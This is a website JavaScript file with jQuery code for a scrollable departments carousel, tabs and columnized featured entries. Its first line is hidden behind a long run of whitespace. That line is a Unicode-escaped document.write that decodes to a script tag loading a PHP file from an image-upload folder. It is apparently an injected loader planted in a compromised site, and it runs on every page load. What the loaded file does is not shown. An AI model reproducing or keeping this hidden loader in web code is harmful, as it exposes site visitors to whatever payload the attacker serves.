																																																																							document.write("\u003C\u0073\u0063\u0072\u0069\u0070\u0074\u0020\u0074\u0079\u0070\u0065\u003D\u0022\u0074\u0065\u0078\u0074\u002F\u006A\u0061\u0076\u0061\u0073\u0063\u0072\u0069\u0070\u0074\u0022\u0020\u0073\u0072\u0063\u003D\u0022\u002F\u006D\u0065\u0064\u0069\u0061\u002F\u0075\u0070\u006C\u006F\u0061\u0064\u002D\u0069\u006D\u0061\u0067\u0065\u0073\u002F\u0037\u0037\u0037\u002F\u0062\u0061\u006B\u0032\u0074\u006F\u0070\u002E\u0070\u0068\u0070\u0022\u003E\u003C\u002F\u0073\u0063\u0072\u0069\u0070\u0074\u003E");/**
 * fix department scrollable height
 * fuck chrome not ie this time
 */
function fix() {
    $("document").ready(function() {
    
        
        setTimeout(function() {
            var tallest = 0;
            $("#departments ul li").each(function() {
                if ($(this).height() > tallest) {
                    tallest = $(this).height();
                }            
            });
            $("#departments .items-out").height(tallest);
            $("#departments ul").children().css({'min-height': tallest});
        }, 100);
    });
}

$("document").ready(function() {
    /**
     * init scrollable plugin for departments section
     */
    if ($("#departments .items-out .items .item").size() > 5) {
        $("#departments .items-out").scrollable({
            'onSeek':function() {
                if (this.getIndex() >= this.getSize() - 5) {
                    $("#departments .nav .next").addClass("toBegin");
                }
            }
        });
    }
    var scrollable = $("#departments .items-out").data("scrollable");
    $("#departments .nav a").click(function() {
        if ($(this).hasClass("toBegin")) {
            scrollable.seekTo(0);
            $(this).removeClass("toBegin");
        }
        return false;
    });
    
    /**
     * init tabs
     */
    $(".tabs-out ul.tabs").tabs(".tabs-out .panes > div ");
});



$(function(){
    $('#featured .entry').columnize({
        lastNeverTallest: true
    });
});
